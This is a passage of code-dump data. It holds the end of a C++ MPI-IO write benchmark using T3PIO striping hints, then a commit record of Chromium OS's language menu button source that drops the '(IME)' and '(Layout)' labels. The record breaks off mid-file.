MPI_Datatype coreData, gblData, my_vector;\n  MPI_Status   status;\n  int          iTotalSz, ierr, nDim;\n  int          sz[2], gsz[2], starts[2];\n  const char*  fn = \"UNSTRUCT.mpiio\";\n\n  rem = cmd.globalSz % P.nProcs;\n  if (P.myProc < rem)\n    is = P.myProc * cmd.localSz;\n  else\n    is = (cmd.localSz + 1)*rem + cmd.localSz*(P.myProc - rem);\n  \n\n  m_numvar      = 1;\n  m_totalSz     = cmd.globalSz*m_numvar*sizeof(double);\n  iTotalSz      = m_totalSz\/(1024*1024);\n  int    num    = cmd.localSz;\n  double *data  = new double[num];\n  double xk     = is;\n\n  \n  for (int i = 0; i < num; ++i)\n    data[i] = xk++;\n\n  double t0, t1, t2;\n\n  \/\/ Delete old file\n  if (P.myProc == 0)\n    MPI_File_delete((char * )fn, MPI_INFO_NULL);\n  MPI_Barrier(P.comm);\n\n\n  \/\/ Build MPI info;\n  MPI_Info info  = MPI_INFO_NULL;\n  MPI_Info infoF = MPI_INFO_NULL;\n  MPI_Info_create(&info);\n  MPI_Info_create(&infoF);\n\n  T3PIO_results_t results;\n\n  if (cmd.useT3PIO)\n    {\n      int ierr = t3pio_set_info(P.comm, info, \".\/\",\n                                T3PIO_GLOBAL_SIZE,         iTotalSz,\n                                T3PIO_STRIPE_COUNT,        cmd.stripes,\n                                T3PIO_STRIPE_SIZE_MB,      cmd.stripeSz,\n                                T3PIO_MAX_AGGREGATORS,     cmd.maxWriters,\n                                T3PIO_RESULTS,             &results);\n      m_nIOUnits = results.numIO;\n    }\n\n  \/\/nDim = 1;\n  \/\/offset = is*sizeof(double);\n  \/\/ierr = MPI_Type_contiguous(num, MPI_DOUBLE, &my_vector);\n  \/\/ierr = MPI_Type_commit(&my_vector);\n  \/\/ierr = MPI_File_set_view(fh, offset, MPI_DOUBLE, my_vector, \"native\", info);\n\n  offset    = 0;\n  nDim      = 2;\n  sz[0]     = cmd.localSz\/cmd.xwidth;\n  sz[1]     = cmd.xwidth;\n  gsz[0]    = cmd.globalSz\/cmd.xwidth;\n  gsz[1]    = cmd.xwidth;\n  starts[0] = 0;\n  starts[1] = 0;\n    \n  ierr = MPI_Type_create_subarray(nDim, sz, sz, starts, MPI_ORDER_C, MPI_DOUBLE,\n                                  &coreData);\n  ierr = MPI_Type_commit(&coreData);\n  starts[0] = sz[0]*P.myProc;\n  ierr = MPI_Type_create_subarray(nDim, gsz, sz, starts, MPI_ORDER_C, MPI_DOUBLE,\n                                  &gblData);\n  ierr = MPI_Type_commit(&gblData);\n\n\n  t0 = walltime();\n  \n  ierr = MPI_File_open(P.comm, (char *) fn, MPI_MODE_WRONLY | MPI_MODE_CREATE, info, &fh);\n  if (ierr)\n    MPI_Abort(P.comm, -1);\n\n\n  ierr = MPI_File_get_info(fh, &infoF);\n  \n  t3pio_extract_key_values(infoF, &results);  \n  m_aggregators = results.numIO;\n  m_nStripes    = results.numStripes;\n  m_stripeSz    = results.stripeSize;\n\n  ierr = MPI_File_set_view(fh, offset, MPI_DOUBLE, gblData, \"native\", info);\n\n  ierr = MPI_File_write_all(fh, &data[0], 1, coreData, &status);\n  ierr = MPI_File_close(&fh);\n\n  m_totalTime = walltime() - t0;\n  m_rate      = m_totalSz\/(m_totalTime * 1024.0 * 1024.0);\n  MPI_Info_free(&info);\n  MPI_Info_free(&infoF);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/chromeos\/status\/language_menu_button.h\"\n\n#include <string>\n\n#include \"app\/l10n_util.h\"\n#include \"app\/resource_bundle.h\"\n#include \"base\/time.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/chromeos\/status\/status_area_host.h\"\n#include \"grit\/generated_resources.h\"\n#include \"grit\/theme_resources.h\"\n\n\/\/ The language menu consists of 3 parts (in this order):\n\/\/\n\/\/   (1) XKB layout names and IME languages names. The size of the list is\n\/\/       always >= 1.\n\/\/   (2) IME properties. This list might be empty.\n\/\/   (3) \"Configure IME...\" button.\n\/\/\n\/\/ Example of the menu (Japanese):\n\/\/\n\/\/ ============================== (border of the popup window)\n\/\/ [ ] US                         (|index| in the following functions is 0)\n\/\/ [*] Anthy\n\/\/ [ ] PinYin\n\/\/ ------------------------------ (separator)\n\/\/ [*] Hiragana                   (index = 5, The property has 2 radio groups)\n\/\/ [ ] Katakana\n\/\/ [ ] HalfWidthKatakana\n\/\/ [*] Roman\n\/\/ [ ] Kana\n\/\/ ------------------------------ (separator)\n\/\/ Configure IME...               (index = 11)\n\/\/ ============================== (border of the popup window)\n\/\/\n\/\/ Example of the menu (Simplified Chinese):\n\/\/\n\/\/ ============================== (border of the popup window)\n\/\/ [ ] US\n\/\/ [ ] Anthy\n\/\/ [*] PinYin\n\/\/ ------------------------------ (separator)\n\/\/ Switch to full letter mode     (The property has 2 command buttons)\n\/\/ Switch to half punctuation mode\n\/\/ ------------------------------ (separator)\n\/\/ Configure IME...\n\/\/ ============================== (border of the popup window)\n\/\/\n\nnamespace {\n\n\/\/ Constants to specify the type of items in |model_|.\nenum {\n  COMMAND_ID_LANGUAGES = 0,  \/\/ US, Anthy, PinYin, ...\n  COMMAND_ID_IME_PROPERTIES,  \/\/ Hiragana, Katakana, ...\n  COMMAND_ID_CONFIGURE_IME,  \/\/ The \"Configure IME...\" button.\n};\n\n\/\/ A group ID for IME properties starts from 0. We use the huge value for the\n\/\/ XKB\/IME language list to avoid conflict.\nconst int kRadioGroupLanguage = 1 << 16;\nconst int kRadioGroupNone = -1;\nconst size_t kMaxLanguageNameLen = 7;\nconst wchar_t kSpacer[] = L\"MMMMMMM\";\n\n\/\/ Returns the language name for the given |language|. Instead of input\n\/\/ method names like \"Pinyin\" and \"Anthy\", we'll show language names like\n\/\/ \"Chinese (Simplified)\" and \"Japanese\".\nstd::string GetLanguageName(const chromeos::InputLanguage& language) {\n  std::string language_code = language.language_code;\n  if (language.id == \"pinyin\") {\n    \/\/ The pinyin input method returns \"zh_CN\" as language_code, but\n    \/\/ l10n_util expects \"zh-CN\".\n    language_code = \"zh-CN\";\n  } else if (language.id == \"chewing\") {\n    \/\/ Likewise, the chewing input method returns \"zh\" as language_code,\n    \/\/ which is ambiguous. We use zh-TW instead.\n    language_code = \"zh-TW\";\n  } else if (language_code == \"t\") {\n    \/\/ \"t\" is used by input methods that do not associate with a\n    \/\/ particular language. Returns the display name as-is.\n    return language.display_name;\n  }\n  const string16 language_name = l10n_util::GetDisplayNameForLocale(\n      language_code,\n      g_browser_process->GetApplicationLocale(),\n      true);\n  \/\/ TODO(satorux): We should add input method names if multiple input\n  \/\/ methods are available for one input language.\n  return UTF16ToUTF8(language_name);\n}\n\n\/\/ Converts chromeos::InputLanguage object into human readable string. Returns\n\/\/ a string for the drop-down menu if |for_menu| is true. Otherwise, returns a\n\/\/ string for the status area.\nstd::string FormatInputLanguage(\n    const chromeos::InputLanguage& language, bool for_menu) {\n  std::string formatted = GetLanguageName(language);\n  if (formatted.empty()) {\n    formatted = language.id;\n  }\n  if (for_menu) {\n    switch (language.category) {\n      case chromeos::LANGUAGE_CATEGORY_XKB:\n        \/\/ TODO(yusukes): Use message catalog.\n        formatted += \" (Layout)\";\n        break;\n      case chromeos::LANGUAGE_CATEGORY_IME:\n        \/\/ TODO(yusukes): Use message catalog.\n        formatted += \" (IME)\";\n        break;\n    }\n  } else {\n    \/\/ For status area. Trim the string.\n    formatted = formatted.substr(0, kMaxLanguageNameLen);\n    \/\/ TODO(yusukes): Simple substr() does not work for non-ASCII string.\n    \/\/ TODO(yusukes): How can we ensure that the trimmed string does not\n    \/\/ overflow the area?\n  }\n  return formatted;\n}\n\n}  \/\/ namespace\n\nnamespace chromeos {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ LanguageMenuButton\n\nLanguageMenuButton::LanguageMenuButton(StatusAreaHost* host)\n    : MenuButton(NULL, std::wstring(), this, false),\n      language_list_(LanguageLibrary::Get()->GetActiveLanguages()),\n      model_(NULL),\n      \/\/ Be aware that the constructor of |language_menu_| calls GetItemCount()\n      \/\/ in this class. Therefore, GetItemCount() have to return 0 when\n      \/\/ |model_| is NULL.\n      ALLOW_THIS_IN_INITIALIZER_LIST(language_menu_(this)),\n      host_(host) {\n  DCHECK(language_list_.get() && !language_list_->empty());\n  \/\/ Update the model\n  RebuildModel();\n  \/\/ Grab the real estate.\n  UpdateIcon(kSpacer);\n  \/\/ Display the default XKB name (usually \"US\").\n  const std::string name = FormatInputLanguage(language_list_->at(0), false);\n  UpdateIcon(UTF8ToWide(name));\n  LanguageLibrary::Get()->AddObserver(this);\n}\n\nLanguageMenuButton::~LanguageMenuButton() {\n  LanguageLibrary::Get()->RemoveObserver(this);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ LanguageMenuButton, menus::MenuModel implementation:\n\nint LanguageMenuButton::GetCommandIdAt(int index) const {\n  return 0;  \/\/ dummy\n}\n\nbool LanguageMenuButton::IsLabelDynamicAt(int index) const {\n  \/\/ Menu content for the language button could change time by time.\n  return true;\n}\n\nbool LanguageMenuButton::GetAcceleratorAt(\n    int index, menus::Accelerator* accelerator) const {\n  \/\/ Views for Chromium OS does not support accelerators yet.\n  return false;\n}\n\nbool LanguageMenuButton::IsItemCheckedAt(int index) const {\n  DCHECK_GE(index, 0);\n  DCHECK(language_list_.get());\n\n  if (IndexIsInLanguageList(index)) {\n    const InputLanguage& language = language_list_->at(index);\n    return language == LanguageLibrary::Get()->current_language();\n  }\n\n  if (GetPropertyIndex(index, &index)) {\n    const ImePropertyList& property_list\n        = LanguageLibrary::Get()->current_ime_properties();\n    return property_list.at(index).is_selection_item_checked;\n  }\n\n  \/\/ Separator(s) or the \"Configure IME\" button.\n  return false;\n}\n\nint LanguageMenuButton::GetGroupIdAt(int index) const {\n  DCHECK_GE(index, 0);\n\n  if (IndexIsInLanguageList(index)) {\n    return kRadioGroupLanguage;\n  }\n\n  if (GetPropertyIndex(index, &index)) {\n    const ImePropertyList& property_list\n        = LanguageLibrary::Get()->current_ime_properties();\n    return property_list.at(index).selection_item_id;\n  }\n\n  return kRadioGroupNone;\n}\n\nbool LanguageMenuButton::HasIcons() const  {\n  \/\/ We don't support IME nor keyboard icons on Chrome OS.\n  return false;\n}\n\nbool LanguageMenuButton::GetIconAt(int index, SkBitmap* icon) const {\n  return false;\n}\n\nbool LanguageMenuButton::IsEnabledAt(int index) const {\n  \/\/ Just return true so all IMEs, XKB layouts, and IME properties could be\n  \/\/ clicked.\n  return true;\n}\n\nmenus::MenuModel* LanguageMenuButton::GetSubmenuModelAt(int index) const {\n  \/\/ We don't use nested menus.\n  return NULL;\n}\n\nvoid LanguageMenuButton::HighlightChangedTo(int index) {\n  \/\/ Views for Chromium OS does not support this interface yet.\n}\n\nvoid LanguageMenuButton::MenuWillShow() {\n  \/\/ Views for Chromium OS does not support this interface yet.\n}\n\nint LanguageMenuButton::GetItemCount() const {\n  if (!model_.get()) {\n    \/\/ Model is not constructed yet. This means that LanguageMenuButton is\n    \/\/ being constructed. Return zero.\n    return 0;\n  }\n  return model_->GetItemCount();\n}\n\nmenus::MenuModel::ItemType LanguageMenuButton::GetTypeAt(int index) const {\n  DCHECK_GE(index, 0);\n\n  if (IndexPointsToConfigureImeMenuItem(index)) {\n    return menus::MenuModel::TYPE_COMMAND;  \/\/ \"Configure IME\"\n  }\n\n  if (IndexIsInLanguageList(index)) {\n    return menus::MenuModel::TYPE_RADIO;\n  }\n\n  if (GetPropertyIndex(index, &index)) {\n    const ImePropertyList& property_list\n        = LanguageLibrary::Get()->current_ime_properties();\n    if (property_list.at(index).is_selection_item) {\n      return menus::MenuModel::TYPE_RADIO;\n    }\n    return menus::MenuModel::TYPE_COMMAND;\n  }\n\n  return menus::MenuModel::TYPE_SEPARATOR;\n}\n\nstring16 LanguageMenuButton::GetLabelAt(int index) const {\n  DCHECK_GE(index, 0);\n  DCHECK(language_list_.get());\n\n  if (IndexPointsToConfigureImeMenuItem(index)) {\n    return l10n_util::GetStringUTF16(IDS_STATUSBAR_IME_CONFIGURE);\n  }\n\n  std::string name;\n  if (IndexIsInLanguageList(index)) {\n    name = FormatInputLanguage(language_list_->at(index), true);\n  } else if (GetPropertyIndex(index, &index)) {\n    const ImePropertyList& property_list\n        = LanguageLibrary::Get()->current_ime_properties();\n    name = property_list.at(index).label;\n  }\n\n  return UTF8ToUTF16(name);\n}\n\nvoid LanguageMenuButton::ActivatedAt(int index) {\n  DCHECK_GE(index, 0);\n  DCHECK(language_list_.get());\n\n  if (IndexPointsToConfigureImeMenuItem(index)) {\n    host_->OpenButtonOptions(this);\n    return;\n  }\n\n  if (IndexIsInLanguageList(index)) {\n    \/\/ Inter-IME switching or IME-XKB switching.\n    const InputLanguage& language = language_list_->at(index);\n    LanguageLibrary::Get()->ChangeLanguage(language.category, language.id);\n    return;\n  }\n\n  if (GetPropertyIndex(index, &index)) {\n    \/\/ Intra-IME switching (e.g. Japanese-Hiragana to Japanese-Katakana).\n    const ImePropertyList& property_list\n        = LanguageLibrary::Get()->current_ime_properties();\n    const std::string key = property_list.at(index).key;\n    if (property_list.at(index).is_selection_item) {\n      \/\/ Radio button is clicked.\n      const int id = property_list.at(index).selection_item_id;\n      \/\/ First, deactivate all other properties in the same radio group.\n      for (int i = 0; i < static_cast<int>(property_list.size()); ++i) {\n        if (i != index && id == property_list.at(i).selection_item_id) {\n          LanguageLibrary::Get()->DeactivateImeProperty(\n              property_list.at(i).key);\n        }\n      }\n      \/\/ Then, activate the property clicked.\n      LanguageLibrary::Get()->ActivateImeProperty(key);\n    } else {\n      \/\/ Command button like \"Switch to half punctuation mode\" is clicked.\n      \/\/ We can always use \"Deactivate\" for command buttons.\n      LanguageLibrary::Get()->DeactivateImeProperty(key);\n    }\n    return;\n  }\n\n  \/\/ Separators are not clickable.\n  NOTREACHED();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ LanguageMenuButton, views::ViewMenuDelegate implementation:\n\nvoid LanguageMenuButton::RunMenu(views::View* source, const gfx::Point& pt) {\n  language_list_.reset(LanguageLibrary::Get()->GetActiveLanguages());\n  RebuildModel();\n  language_menu_.Rebuild();\n  language_menu_.UpdateStates();\n  language_menu_.RunMenuAt(pt, views::Menu2::ALIGN_TOPRIGHT);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ LanguageLibrary::Observer implementation:\n\nvoid LanguageMenuButton::LanguageChanged(LanguageLibrary* obj) {\n  const std::string name = FormatInputLanguage(obj->current_language(), false);\n  UpdateIcon(UTF8ToWide(name));\n\n  \/\/ This is necessary to remove IME properties when the current language is\n  \/\/ switched to XKB.\n  RebuildModel();\n}\n\nvoid LanguageMenuButton::ImePropertiesChanged(LanguageLibrary* obj) {\n  RebuildModel();\n}\n\nvoid LanguageMenuButton::UpdateIcon(const std::wstring& name) {\n  set_border(NULL);\n  SetFont(ResourceBundle::GetSharedInstance().GetFont(\n      ResourceBundle::BaseFont).DeriveFont(0, gfx::Font::BOLD));\n  SetEnabledColor(SK_ColorWHITE);\n  SetShowHighlighted(false);\n  SetText(name);\n  set_alignment(TextButton::ALIGN_RIGHT);\n  SchedulePaint();\n}\n\nvoid LanguageMenuButton::RebuildModel() {\n  model_.reset(new menus::SimpleMenuModel(NULL));\n  string16 dummy_label = UTF8ToUTF16(\"\");\n  \/\/ Indicates if separator's needed before each section.\n  bool need_separator = false;\n\n  if (!language_list_->empty()) {\n    \/\/ We \"abuse\" the command_id and group_id arguments of AddRadioItem method.\n    \/\/ A COMMAND_ID_XXX enum value is passed as command_id, and array index of\n    \/\/ |language_list_| or |property_list| is passed as group_id.\n    for (size_t i = 0; i < language_list_->size(); ++i) {\n      model_->AddRadioItem(COMMAND_ID_LANGUAGES, dummy_label, i);\n    }\n    need_separator = true;\n  }\n\n  const ImePropertyList& property_list\n      = LanguageLibrary::Get()->current_ime_properties();\n  const InputLanguage& current_language\n      = LanguageLibrary::Get()->current_language();\n  if ((!property_list.empty()) &&\n      (current_language.category == chromeos::LANGUAGE_CATEGORY_IME)) {\n    if (need_separator)\n      model_->AddSeparator();\n    for (size_t i = 0; i < property_list.size(); ++i) {\n      model_->AddRadioItem(COMMAND_ID_IME_PROPERTIES, dummy_label, i);\n    }\n    need_separator = true;\n  }\n\n  if (host_->ShouldOpenButtonOptions(this)) {\n    \/\/ Note: We use AddSeparator() for separators, and AddRadioItem() for all\n    \/\/ other items even if an item is not actually a radio item.\n    if (need_separator)\n      model_->AddSeparator();\n    model_->AddRadioItem(COMMAND_ID_CONFIGURE_IME, dummy_label, 0 \/* dummy *\/);\n  }\n}\n\nbool LanguageMenuButton::IndexIsInLanguageList(int index) const {\n  DCHECK_GE(index, 0);\n  DCHECK(model_.get());\n\n  return ((model_->GetTypeAt(index) == menus::MenuModel::TYPE_RADIO) &&\n          (model_->GetCommandIdAt(index) == COMMAND_ID_LANGUAGES));\n}\n\nbool LanguageMenuButton::GetPropertyIndex(\n    int index, int* property_index) const {\n  DCHECK_GE(index, 0);\n  DCHECK(property_index);\n  DCHECK(model_.get());\n\n  if ((model_->GetTypeAt(index) == menus::MenuModel::TYPE_RADIO) &&\n      (model_->GetCommandIdAt(index) == COMMAND_ID_IME_PROPERTIES)) {\n    *property_index = model_->GetGroupIdAt(index);\n    return true;\n  }\n  return false;\n}\n\nbool LanguageMenuButton::IndexPointsToConfigureImeMenuItem(int index) const {\n  DCHECK_GE(index, 0);\n  DCHECK(model_.get());\n\n  return ((model_->GetTypeAt(index) == menus::MenuModel::TYPE_RADIO) &&\n          (model_->GetCommandIdAt(index) == COMMAND_ID_CONFIGURE_IME));\n}\n\n\/\/ TODO(yusukes): Register and handle hotkeys for IME and XKB switching?\n\n}  \/\/ namespace chromeos\n<commit_msg>Remove \"(IME)\" and \"(Layout)\" strings from the language status menu. I think we no longer need these debug print strings.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/chromeos\/status\/language_menu_button.h\"\n\n#include <string>\n\n#include \"app\/l10n_util.h\"\n#include \"app\/resource_bundle.h\"\n#include \"base\/time.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/chromeos\/status\/status_area_host.h\"\n#include \"grit\/generated_resources.h\"\n#include \"grit\/theme_resources.h\"\n\n\/\/ The language menu consists of 3 parts (in this order):\n\/\/\n\/\/   (1) XKB layout names and IME languages names. The size of the list is\n\/\/       always >= 1.\n\/\/   (2) IME properties. This list might be empty.\n\/\/   (3) \"Configure IME...\" button.\n\/\/\n\/\/ Example of the menu (Japanese):\n\/\/\n\/\/ ============================== (border of the popup window)\n\/\/ [ ] US                         (|index| in the following functions is 0)\n\/\/ [*] Anthy\n\/\/ [ ] PinYin\n\/\/ ------------------------------ (separator)\n\/\/ [*] Hiragana                   (index = 5, The property has 2 radio groups)\n\/\/ [ ] Katakana\n\/\/ [ ] HalfWidthKatakana\n\/\/ [*] Roman\n\/\/ [ ] Kana\n\/\/ ------------------------------ (separator)\n\/\/ Configure IME...               (index = 11)\n\/\/ ============================== (border of the popup window)\n\/\/\n\/\/ Example of the menu (Simplified Chinese):\n\/\/\n\/\/ ============================== (border of the popup window)\n\/\/ [ ] US\n\/\/ [ ] Anthy\n\/\/ [*] PinYin\n\/\/ ------------------------------ (separator)\n\/\/ Switch to full letter mode     (The property has 2 command buttons)\n\/\/ Switch to half punctuation mode\n\/\/ ------------------------------ (separator)\n\/\/ Configure IME...\n\/\/ ============================== (border of the popup window)\n\/\/\n\nnamespace {\n\n\/\/ Constants to specify the type of items in |model_|.\nenum {\n  COMMAND_ID_LANGUAGES = 0,  \/\/ US, Anthy, PinYin, ...\n  COMMAND_ID_IME_PROPERTIES,  \/\/ Hiragana, Katakana, ...\n  COMMAND_ID_CONFIGURE_IME,  \/\/ The \"Configure IME...\" button.\n};\n\n\/\/ A group ID for IME properties starts from 0. We use the huge value for the\n\/\/ XKB\/IME language list to avoid conflict.\nconst int kRadioGroupLanguage = 1 << 16;\nconst int kRadioGroupNone = -1;\nconst size_t kMaxLanguageNameLen = 7;\nconst wchar_t kSpacer[] = L\"MMMMMMM\";\n\n\/\/ Returns the language name for the given |language|. Instead of input\n\/\/ method names like \"Pinyin\" and \"Anthy\", we'll show language names like\n\/\/ \"Chinese (Simplified)\" and \"Japanese\".\nstd::string GetLanguageName(const chromeos::InputLanguage& language) {\n  std::string language_code = language.language_code;\n  if (language.id == \"pinyin\") {\n    \/\/ The pinyin input method returns \"zh_CN\" as language_code, but\n    \/\/ l10n_util expects \"zh-CN\".\n    language_code = \"zh-CN\";\n  } else if (language.id == \"chewing\") {\n    \/\/ Likewise, the chewing input method returns \"zh\" as language_code,\n    \/\/ which is ambiguous. We use zh-TW instead.\n    language_code = \"zh-TW\";\n  } else if (language_code == \"t\") {\n    \/\/ \"t\" is used by input methods that do not associate with a\n    \/\/ particular language. Returns the display name as-is.\n    return language.display_name;\n  }\n  const string16 language_name = l10n_util::GetDisplayNameForLocale(\n      language_code,\n      g_browser_process->GetApplicationLocale(),\n      true);\n  \/\/ TODO(satorux): We should add input method names if multiple input\n  \/\/ methods are available for one input language.\n  return UTF16ToUTF8(language_name);\n}\n\n\/\/ Converts chromeos::InputLanguage object into human readable string. Returns\n\/\/ a string for the drop-down menu if |for_menu| is true. Otherwise, returns a\n\/\/ string for the status area.\nstd::string FormatInputLanguage(\n    const chromeos::InputLanguage& language, bool for_menu) {\n  std::string formatted = GetLanguageName(language);\n  if (formatted.empty()) {\n    formatted = language.id;\n  }\n  if (!for_menu) {\n    \/\/ For status area. Trim the string.\n    formatted = formatted.substr(0, kMaxLanguageNameLen);\n    \/\/ TODO(yusukes): Simple substr() does not work for non-ASCII string.\n    \/\/ TODO(yusukes): How can we ensure that the trimmed string does not\n    \/\/ overflow the area?\n  }\n  return formatted;\n}\n\n}  \/\/ namespace\n\nnamespace chromeos {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ LanguageMenuButton\n\nLanguageMenuButton::LanguageMenuButton(StatusAreaHost* host)\n    : MenuButton(NULL, std::wstring(), this, false),\n      language_list_(LanguageLibrary::Get()->GetActiveLanguages()),\n      model_(NULL),\n      \/\/ Be aware that the constructor of |language_menu_| calls GetItemCount()\n      \/\/ in this class. Therefore, GetItemCount() have to return 0 when\n      \/\/ |model_| is NULL.\n      ALLOW_THIS_IN_INITIALIZER_LIST(language_menu_(this)),\n      host_(host) {\n  DCHECK(language_list_.get() && !language_list_->empty());\n  \/\/ Update the model\n  RebuildModel();\n  \/\/ Grab the real estate.\n  UpdateIcon(kSpacer);\n  \/\/ Display the default XKB name (usually \"US\").\n  const std::string name = FormatInputLanguage(language_list_->at(0), false);\n  UpdateIcon(UTF8ToWide(name));\n  LanguageLibrary::Get()->AddObserver(this);\n}\n\nLanguageMenuButton::~LanguageMenuButton() {\n  LanguageLibrary::Get()->RemoveObserver(this);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ LanguageMenuButton, menus::MenuModel implementation:\n\nint LanguageMenuButton::GetCommandIdAt(int index) const {\n  return 0;  \/\/ dummy\n}\n\nbool LanguageMenuButton::IsLabelDynamicAt(int index) const {\n  \/\/ Menu content for the language button could change time by time.\n  return true;\n}\n\nbool LanguageMenuButton::GetAcceleratorAt(\n    int index, menus::Accelerator* accelerator) const {\n  \/\/ Views for Chromium OS does not support accelerators yet.\n  return false;\n}\n\nbool LanguageMenuButton::IsItemCheckedAt(int index) const {\n  DCHECK_GE(index, 0);\n  DCHECK(language_list_.get());\n\n  if (IndexIsInLanguageList(index)) {\n    const InputLanguage& language = language_list_->at(index);\n    return language == LanguageLibrary::Get()->current_language();\n  }\n\n  if (GetPropertyIndex(index, &index)) {\n    const ImePropertyList& property_list\n        = LanguageLibrary::Get()->current_ime_properties();\n    return property_list.at(index).is_selection_item_checked;\n  }\n\n  \/\/ Separator(s) or the \"Configure IME\" button.\n  return false;\n}\n\nint LanguageMenuButton::GetGroupIdAt(int index) const {\n  DCHECK_GE(index, 0);\n\n  if (IndexIsInLanguageList(index)) {\n    return kRadioGroupLanguage;\n  }\n\n  if (GetPropertyIndex(index, &index)) {\n    const ImePropertyList& property_list\n        = LanguageLibrary::Get()->current_ime_properties();\n    return property_list.at(index).selection_item_id;\n  }\n\n  return kRadioGroupNone;\n}\n\nbool LanguageMenuButton::HasIcons() const  {\n  \/\/ We don't support IME nor keyboard icons on Chrome OS.\n  return false;\n}\n\nbool LanguageMenuButton::GetIconAt(int index, SkBitmap* icon) const {\n  return false;\n}\n\nbool LanguageMenuButton::IsEnabledAt(int index) const {\n  \/\/ Just return true so all IMEs, XKB layouts, and IME properties could be\n  \/\/ clicked.\n  return true;\n}\n\nmenus::MenuModel* LanguageMenuButton::GetSubmenuModelAt(int index) const {\n  \/\/ We don't use nested menus.\n  return NULL;\n}\n\nvoid LanguageMenuButton::HighlightChangedTo(int index) {\n  \/\/ Views for Chromium OS does not support this interface yet.\n}\n\nvoid LanguageMenuButton::MenuWillShow() {\n  \/\/ Views for Chromium OS does not support this interface yet.\n}\n\nint LanguageMenuButton::GetItemCount() const {\n  if (!model_.get()) {\n    \/\/ Model is not constructed yet. This means that LanguageMenuButton is\n    \/\/ being constructed. Return zero.\n    return 0;\n  }\n  return model_->GetItemCount();\n}\n\nmenus::MenuModel::ItemType LanguageMenuButton::GetTypeAt(int index) const {\n  DCHECK_GE(index, 0);\n\n  if (IndexPointsToConfigureImeMenuItem(index)) {\n    return menus::MenuModel::TYPE_COMMAND;  \/\/ \"Configure IME\"\n  }\n\n  if (IndexIsInLanguageList(index)) {\n    return menus::MenuModel::TYPE_RADIO;\n  }\n\n  if (GetPropertyIndex(index, &index)) {\n    const ImePropertyList& property_list\n        = LanguageLibrary::Get()->current_ime_properties();\n    if (property_list.at(index).is_selection_item) {\n      return menus::MenuModel::TYPE_RADIO;\n    }\n    return menus::MenuModel::TYPE_COMMAND;\n  }\n\n  return menus::MenuModel::TYPE_SEPARATOR;\n}\n\nstring16 LanguageMenuButton::GetLabelAt(int index) const {\n  DCHECK_GE(index, 0);\n  DCHECK(language_list_.get());\n\n  if (IndexPointsToConfigureImeMenuItem(index)) {\n    return l10n_util::GetStringUTF16(IDS_STATUSBAR_IME_CONFIGURE);\n  }\n\n  std::string name;\n  if (IndexIsInLanguageList(index)) {\n    name = FormatInputLanguage(language_list_->at(index), true);\n  } else if (GetPropertyIndex(index, &index)) {\n    const ImePropertyList& property_list\n        = LanguageLibrary::Get()->current_ime_properties();\n    name = property_list.at(index).label;\n  }\n\n  return UTF8ToUTF16(name);\n}\n\nvoid LanguageMenuButton::ActivatedAt(int index) {\n  DCHECK_GE(index, 0);\n  DCHECK(language_list_.get());\n\n  if (IndexPointsToConfigureImeMenuItem(index)) {\n    host_->OpenButtonOptions(this);\n    return;\n  }\n\n  if (IndexIsInLanguageList(index)) {\n    \/\/ Inter-IME switching or IME-XKB switching.\n    const InputLanguage& language = language_list_->at(index);\n    LanguageLibrary::Get()->ChangeLanguage(language.category, language.id);\n    return;\n  }\n\n  if (GetPropertyIndex(index, &index)) {\n    \/\/ Intra-IME switching (e.g. Japanese-Hiragana to Japanese-Katakana).\n    const ImePropertyList& property_list\n        = LanguageLibrary::Get()->current_ime_properties();\n    const std::string key = property_list.at(index).key;\n    if (property_list.at(index).is_selection_item) {\n      \/\/ Radio button is clicked.\n      const int id = property_list.at(index).selection_item_id;\n      \/\/ First, deactivate all other properties in the same radio group.\n      for (int i = 0; i < static_cast<int>(property_list.size()); ++i) {\n        if (i != index && id == property_list.at(i).selection_item_id) {\n          LanguageLibrary::Get()->DeactivateImeProperty(\n              property_list.at(i).key);\n        }\n      }\n      \/\/ Then, activate the property clicked.\n      LanguageLibrary::Get()->ActivateImeProperty(key);\n    } else {\n      \/\/ Command button like \"Switch 